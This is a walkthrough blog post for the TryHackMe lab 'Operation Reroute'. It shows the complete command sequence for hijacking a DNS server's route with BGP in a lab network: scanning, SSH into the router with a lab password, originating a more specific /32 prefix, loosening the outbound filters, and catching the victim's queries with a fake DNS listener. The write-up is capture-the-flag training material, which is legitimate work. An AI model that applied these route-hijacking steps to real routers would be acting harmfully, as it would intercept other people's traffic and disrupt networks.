DEV Community

Cover image for THM Operation Reroute — Full Walkthrough
Muhammad Saad
Muhammad Saad

Posted on

THM Operation Reroute — Full Walkthrough

Platform: TryHackMe · Difficulty: Hard · Type: network lab (GNS3 containers) — BGP route hijacking
Target: 10.112.133.199 (jumpbox telnet 6001) — authorized lab only
Objective (scope.md): After hijacking the route, DNS1 starts receiving queries from the victim.
What is the internal domain name the victim is trying to resolve?

Answer: VEhNe0JHUF9pc19teV9taWRkbGVfbmFtZX0K.flag.sekureapp.thm
(the leftmost label base64-decodes to THM{BGP_is_my_middle_name})


0. Tooling used in this walkthrough

The jumpbox is a bare GNS3 container: no sshpass, no paramiko/pexpect, no nc, no
tcpdump, no pip, and no internet
. Every helper below is therefore a small stdlib-only Python
script kept in tools/ next to this writeup. None of them are needed to follow the methodology —
they only bridge the missing plumbing.

Script Runs on Purpose
tools/tn.py your host Telnet client for the jumpbox on port 6001. The jumpbox exposes one shared, persistent bash shell, so a naive "send command → sleep → read" mixes output between commands. This wrapper appends a unique echo <token> and reads until the token comes back twice, proving the command finished. Usage: python3 tools/tn.py '<shell command>'.
tools/kssh.py jumpbox Runs one command on the router over SSH by allocating a pty and typing the password when Password: appears — a stand-in for sshpass, which is not installed.
tools/kssh2.py jumpbox Same idea, but accepts a `\
{% raw %}tools/kvtysh.py jumpbox Interactive variant used when entering configuration mode (configure → changes → end), where state must persist across prompts.
tools/dnscap.py jumpbox The capture point: a ~60-line stdlib UDP listener on 0.0.0.0:53 that parses the QNAME out of every query, logs it to /tmp/dnscap.log, and replies with a synthetic A record so the client stops retrying. Stands in for tcpdump/dnscap.

Standard tools were also used unmodified: nmap (host/port discovery), dig (DNS
fingerprinting), base64 (pushing helpers and decoding the captured label), ip (interface/route
state), and wc/sed/sort/uniq to aggregate the capture log.

Two environment facts drove this design, and are worth stating up front:

  • The router has no shell. SSH lands you in FRR's vtysh CLI, so capturing packets on the router is impossible — everything had to be observed from the jumpbox.
  • The jumpbox has no internet, so no package could be installed; the helpers use only the Python standard library.

1. Scenario

A Kali "implant" has been planted inside TryRouteMe's (TRM) network. The stated goal is to spy on a
VIP user, but that user turns out not to be a TRM customer. The victim's DNS resolver is
Doogle's DNS at 10.10.10.10, and "there is more than one server with such an IP in the world."
We only have access to TRM's router. The task is to work out how to hijack traffic we are not on
the path for, and read the victim's DNS requests.

2. Methodology

The approach was driven by one question: where can I actually observe the victim's DNS query?

Phase What I did Why
0. Classify Checked machine-solver/reference/labs/ and reference/challenges/ for a prior note on this target — none existed, so this is a new solve. Classified it as a full network lab (not a single-category CTF challenge). Avoid re-solving blind / avoid overwriting an existing note.
1. Recon the foothold Logged into the jumpbox, mapped its interfaces/routes/tooling. Establish what is reachable and what tooling exists before assuming anything.
2. Map the routing SSH'd to the router, dumped running-config, BGP table, and the routes received from / advertised to the peer. The clue is routing-based ("another ISP", "more than one server with such an IP"), so the BGP table is the primary evidence.
3. Form the hypothesis Noticed 10.10.10.0/24 is announced by two ASNs → prefix collision. Concluded the only lever is longest-prefix-match, i.e. a more specific /32. Explains the hint and rules out "same /24" approaches.
4. Test observability Probed DNS1 (10.10.10.10) and the router to see if the query could be read in place. A hijack is useless if you cannot read the result — establish the observation point before exploiting.
5. Exploit Widened the outbound prefix-list, added a static /32, originated network 10.10.10.10/32, verified it appeared in advertised-routes. Longest-prefix-match hijack of the victim's DNS destination.
6. Capture Steered the hijacked prefix to the jumpbox, claimed 10.10.10.10 locally, ran a minimal DNS listener. Neither the router (vtysh-only) nor DNS1 (dnsmasq, no upstream) is observable — so become the destination.
7. Decode + document Read the QNAME, base64-decoded the label, recorded the solve. —

Two dead ends worth naming, because they shaped the plan:

  • The router is not a capture point. SSH gives FRR's vtysh CLI on both 192.168.1.1 and 10.10.10.1; there is no shell, so no tcpdump. Port 2623/tcp is just the same vty.
  • DNS1 is not a capture point. It is dnsmasq-2.90, answers version.bind CH TXT, has no working upstream (external lookups time out) and exposes only tcp/53. Nothing to read there.

3. Access and topology

telnet 10.112.133.199 6001
Enter fullscreen mode Exit fullscreen mode

This drops straight into a bash shell as root on kali-1 (a GNS3 container — /tmp/gns3/bin/
is present). It has no internet: its resolver is the in-lab dnsmasq, so apt-get install
fails with Temporary failure resolving 'http.kali.org'.

Available: dig, nslookup, host, nmap, python3, curl, wget.
Missing: sshpass, paramiko, pexpect, pip, nc, tcpdump.

kali-1       192.168.1.100/24   gw 192.168.1.1      (resolv.conf -> 10.10.10.10)
TTM-CORE-01  192.168.1.1/24     eth0                (LAN)
             10.1.1.1/30        eth1  -> BGP peer 10.1.1.2 (AS 2222)
             10.10.10.1/24      eth2  -> DNS1 = dnsmasq 2.90 at 10.10.10.10
peer router  192.168.2.1 (AS 2222), announces 192.168.2.0/24
victim       192.168.2.100      no open TCP ports; only emits DNS queries
Enter fullscreen mode Exit fullscreen mode

Only 10.10.10.1 and 10.10.10.10 are alive on the 10.10.10.0/24 segment; 192.168.2.0/24
contains 192.168.2.1 (the AS 2222 router) and 192.168.2.100 (the victim).

4. Recon — commands run

On the jumpbox (every line below was issued through a small telnet runner, tools/tn.py,
which wraps the target command as python3 tools/tn.py '<command>'):

python3 tools/tn.py 'id; hostname; uname -a; pwd; ls -la'
python3 tools/tn.py 'ip a; echo "=== ROUTES ==="; ip r; echo "=== ARP ==="; ip neigh'
python3 tools/tn.py 'for t in dig nslookup host nmap nc tcpdump python3 pip3 curl wget; do printf "%s: " $t; command -v $t || echo MISSING; done'
python3 tools/tn.py 'cat /etc/hosts; cat /etc/resolv.conf; hostname'
python3 tools/tn.py 'ls -la /root/.ssh; pip3 list; which expect screen tmux msfconsole'
Enter fullscreen mode Exit fullscreen mode

Key output: root on kali-1, eth0 192.168.1.100/24, default via 192.168.1.1, and
/etc/resolv.conf -> nameserver 10.10.10.10 (the jumpbox itself resolves through DNS1).

Reaching the router. There is no sshpass/paramiko/pexpect on the jumpbox, so SSH was
driven from Python over a pty. The helper was pushed by base64, then invoked as
python3 /tmp/kssh2.py <password> <host> "<line1>|<line2>|...":

# push the helper
B64=$(base64 -w0 tools/kssh2.py)
python3 tools/tn.py "echo $B64 | base64 -d > /tmp/kssh2.py; chmod +x /tmp/kssh2.py; wc -l /tmp/kssh2.py"

# interactive vtysh driver (same pattern)
python3 tools/tn.py 'python3 /tmp/kvtysh.py ttm2024 [email protected] "show version|show daemons|exit"'
Enter fullscreen mode Exit fullscreen mode

Router enumeration (vtysh commands, one SSH session per batch):

python3 tools/tn.py 'python3 /tmp/kssh2.py ttm2024 [email protected] "show|enable|configure|exit|quit"'
python3 tools/tn.py 'python3 /tmp/kssh2.py ttm2024 [email protected] "show running-config|exit"'
python3 tools/tn.py 'python3 /tmp/kssh2.py ttm2024 [email protected] "show bgp summary|show ip route|exit"'
python3 tools/tn.py 'python3 /tmp/kssh2.py ttm2024 [email protected] "show bgp ipv4 unicast neighbors 10.1.1.2 routes|show bgp ipv4 unicast neighbors 10.1.1.2 advertised-routes|show bgp ipv4 unicast|exit"'
Enter fullscreen mode Exit fullscreen mode

show daemons → mgmtd zebra bgpd watchfrr staticd (so static routes are available).
show running-config:

router bgp 1111
 no bgp enforce-first-as
 neighbor 10.1.1.2 remote-as 2222
 address-family ipv4 unicast
  network 10.10.10.0/24
  network 192.168.1.0/24
  redistribute connected
  neighbor 10.1.1.2 prefix-list bgp-in in     ! permit any
  neighbor 10.1.1.2 prefix-list bgp-out out   ! permit 192.168.1.0/24, 10.10.10.0/24
Enter fullscreen mode Exit fullscreen mode

Routes received from the peer:

show bgp ipv4 unicast neighbors 10.1.1.2 routes

 *  10.10.10.0/24    10.1.1.2            0 2222 3333 i    <- the REAL Doogle DNS network
 *> 192.168.2.0/24   10.1.1.2            0 2222 i
Enter fullscreen mode Exit fullscreen mode

Host/service discovery from the jumpbox:

python3 tools/tn.py 'ping -c 2 -W 2 10.10.10.10; nmap -Pn -sT -p 22,53,80,443,8080,8000,3000,5000 --open -T4 10.10.10.10'
python3 tools/tn.py 'nmap -sn 10.10.10.0/24'
python3 tools/tn.py 'nmap -Pn -sT -p- --min-rate 2000 --max-retries 2 10.10.10.10'
python3 tools/tn.py 'nmap -Pn -sT -p- --min-rate 2000 --max-retries 2 10.10.10.1'
python3 tools/tn.py 'nmap -sn 192.168.2.0/24'
python3 tools/tn.py 'nmap -Pn -sT -p- --min-rate 2000 --max-retries 2 192.168.2.1 192.168.2.100'
Enter fullscreen mode Exit fullscreen mode

Results: 10.10.10.10 → only 53/tcp; 10.10.10.1 (router eth2) → 22, 179, 2623;
192.168.2.0/24 → 192.168.2.1 (BGP + vtysh) and 192.168.2.100 (nothing open — this is the
victim). A ping sweep showed only .1 and .10 live on the 10.10.10.0/24 segment.

Probing DNS1 (to see whether it could be an observation point):

python3 tools/tn.py 'dig @10.10.10.10 version.bind CH TXT'      # -> "dnsmasq-2.90", aa
python3 tools/tn.py 'dig @10.10.10.10 . NS +time=3 +tries=1'    # -> timed out
python3 tools/tn.py 'dig @10.10.10.10 google.com +time=3 +tries=1'  # -> timed out
python3 tools/tn.py 'dig @10.10.10.10 probe-test.internal +time=3 +tries=1'  # -> timed out
Enter fullscreen mode Exit fullscreen mode

It answers only local names — no upstream — and exposes only tcp/53. Confirmed dead end.

5. The insight — a prefix collision

10.10.10.0/24 is announced by two different ASNs:

  • AS 1111 — TTM itself, where the prefix is directly connected on eth2 (our copy of the Doogle DNS address, DNS1 = dnsmasq at 10.10.10.10).
  • AS 3333 — the genuine Doogle DNS network, reached through the peer as 2222 3333.

That is what "more than one server with such an IP in the world" means. The victim's traffic to
10.10.10.10 currently follows the legitimate AS 3333 route, so simply having the same /24
locally changes nothing upstream. Because we cannot reach the victim's ISP directly, the only
lever is longest-prefix-match: advertise a more specific /32 for 10.10.10.10 from AS 1111.

6. Hijack — originate 10.10.10.10/32

First attempt (advertising only) — which failed, and why it mattered:

python3 tools/tn.py 'python3 /tmp/kvtysh.py ttm2024 [email protected] "configure|ip prefix-list bgp-out seq 30 permit 10.10.10.10/32|router bgp 1111|address-family ipv4 unicast|network 10.10.10.10/32|exit-address-family|end|show bgp ipv4 unicast neighbors 10.1.1.2 advertised-routes|exit"'
Enter fullscreen mode Exit fullscreen mode

advertised-routes still showed only the two /24s. show bgp ipv4 unicast explained it — the
/32 appeared with no status character at all (not valid), because FRR's BGP import-check
requires an exact RIB entry and the connected /24 does not satisfy a /32.

Working sequence (add the RIB entry, which doubles as the steering rule, then re-check):

python3 tools/tn.py 'python3 /tmp/kvtysh.py ttm2024 [email protected] "configure|ip route 10.10.10.10/32 192.168.1.100|router bgp 1111|address-family ipv4 unicast|network 10.10.10.10/32|end|show ip route 10.10.10.10/32|show bgp ipv4 unicast|show bgp ipv4 unicast neighbors 10.1.1.2 advertised-routes|exit"'
Enter fullscreen mode Exit fullscreen mode

Verification:

show ip route 10.10.10.10/32
  Routing entry for 10.10.10.10/32
    Known via "static", distance 1, metric 0, best
    * 192.168.1.100, via eth0

show bgp ipv4 unicast
 *> 10.10.10.10/32   0.0.0.0      0   32768 i

show bgp ipv4 unicast neighbors 10.1.1.2 advertised-routes
 *> 10.10.10.0/24     0.0.0.0   0  32768 i
 *> 10.10.10.10/32    0.0.0.0   0  32768 i
 *> 192.168.1.0/24    0.0.0.0   0  32768 i
 Total number of prefixes 3
Enter fullscreen mode Exit fullscreen mode

Two things bit here:

  1. network 10.10.10.10/32 on its own is invalid and never advertised — FRR needs an exact RIB entry, and a connected /24 is not enough. The static /32 fixes it.
  2. The outbound prefix-list bgp-out only permitted the two /24s, so the /32 would have been silently filtered even once valid. seq 30 widens it.

7. Capture — become the 10.10.10.10 server

With the router and DNS1 both ruled out as observation points, the traffic had to be brought to
the jumpbox. The capture server (tools/dnscap.py) was pushed by base64 like the SSH helpers; it
is a ~60-line stdlib UDP listener on 0.0.0.0:53 that parses the QNAME out of each packet, logs
it, and returns a synthetic A record so the client stops retrying.

# push + start the capture server on the jumpbox
B64=$(base64 -w0 tools/dnscap.py)
python3 tools/tn.py "echo $B64 | base64 -d > /tmp/dnscap.py; chmod +x /tmp/dnscap.py; wc -l /tmp/dnscap.py; (nohup python3 /tmp/dnscap.py > /tmp/dnscap.out 2>&1 &); sleep 2; cat /tmp/dnscap.out"

# own the hijacked address so the kernel accepts the packets
python3 tools/tn.py 'ip addr add 10.10.10.10/32 dev eth0 2>&1; ip a show eth0 | grep -E "inet |10.10"'
Enter fullscreen mode Exit fullscreen mode

Then watch the log:

python3 tools/tn.py 'echo "=== waiting 30s ==="; sleep 30; cat /tmp/dnscap.log; tail -20 /tmp/dnscap.out'
Enter fullscreen mode Exit fullscreen mode

Within seconds of the /32 being advertised, the victim started resolving at us:

2026-10-24T08:20:20 from 192.168.2.100:46290 q=VEhNe0JHUF9pc19teV9taWRkbGVfbmFtZX0K.flag.sekureapp.thm type=1  len=84
2026-10-24T08:20:20 from 192.168.2.100:46290 q=VEhNe0JHUF9pc19teV9taWRkbGVfbmFtZX0K.flag.sekureapp.thm type=28 len=84
2026-10-24T08:20:43 from 192.168.2.100:60737 q=VEhNe0JHUF9pc19teV9taWRkbGVfbmFtZX0K.flag.sekureapp.thm type=1  len=84
...
Enter fullscreen mode Exit fullscreen mode

Aggregating the capture to be sure there was only one name and one source:

python3 tools/tn.py 'wc -l /tmp/dnscap.log; sed -E "s/.*q=([^ ]+) .*/\1/" /tmp/dnscap.log | sort | uniq -c; sed -E "s/.*from ([0-9.]+):.*/\1/" /tmp/dnscap.log | sort | uniq -c'
Enter fullscreen mode Exit fullscreen mode
60 /tmp/dnscap.log
     60 VEhNe0JHUF9pc19teV9taWRkbGVfbmFtZX0K.flag.sekureapp.thm
     60 192.168.2.100
Enter fullscreen mode Exit fullscreen mode

Source is always 192.168.2.100 (the victim, in AS 2222's own network), repeated every ~20 s,
A + AAAA, and exactly one unique name.

8. Answer

python3 tools/tn.py 'echo "VEhNe0JHUF9pc19teV9taWRkbGVfbmFtZX0K" | base64 -d'
# THM{BGP_is_my_middle_name}
Enter fullscreen mode Exit fullscreen mode

The internal domain name the victim is trying to resolve:

VEhNe0JHUF9pc19teV9taWRkbGVfbmFtZX0K.flag.sekureapp.thm
Enter fullscreen mode Exit fullscreen mode

Appendix A — command index (quick reference)

Where Command Purpose
jumpbox python3 tools/tn.py '<cmd>' run anything on the jumpbox over telnet 6001
jumpbox `python3 /tmp/kssh2.py ttm2024 [email protected] "\ "`
jumpbox `python3 /tmp/kvtysh.py ttm2024 [email protected] "\ "`
router show running-config / show bgp summary / show ip route baseline state
router show bgp ipv4 unicast full BGP table incl. validity flags
router show bgp ipv4 unicast neighbors 10.1.1.2 routes what the peer sent us
router show bgp ipv4 unicast neighbors 10.1.1.2 advertised-routes proof the hijack is live
router show ip prefix-list confirm the filter was widened (ZEBRA + BGP copies)
jumpbox nmap -sn <subnet> / nmap -Pn -sT -p- --min-rate 2000 <ip> host + full-port discovery
jumpbox dig @10.10.10.10 version.bind CH TXT fingerprint DNS1
jumpbox ip addr add 10.10.10.10/32 dev eth0 claim the hijacked address
jumpbox nohup python3 /tmp/dnscap.py > /tmp/dnscap.out 2>&1 & log incoming DNS queries

Appendix B — tooling notes for this lab

  • The jumpbox telnet provides one persistent, shared bash shell. Extra connections attach to the same shell, so output interleaves and a naive "send command, sleep, read" helper returns the wrong data (or nothing while an earlier long nmap is still running). The reliable pattern used by tools/tn.py is to send a unique echo <token> after the command and read until the token appears twice.
  • No sshpass/paramiko/pexpect. The router SSH was driven from Python with pty.fork() + os.execvp("ssh", ...), waiting for assword in the stream before writing the password.
  • nc and tcpdump are absent, so port probing used python3 -c "socket.create_connection(...)" and packet capture used a raw UDP socket.
  • Leaving the lab: the router now advertises 10.10.10.10/32 and holds a static route for it, and Kali has 10.10.10.10/32 on eth0. Remove with no network 10.10.10.10/32, no ip route 10.10.10.10/32 192.168.1.100, no ip prefix-list bgp-out seq 30, and ip addr del 10.10.10.10/32 dev eth0.

Top comments (0)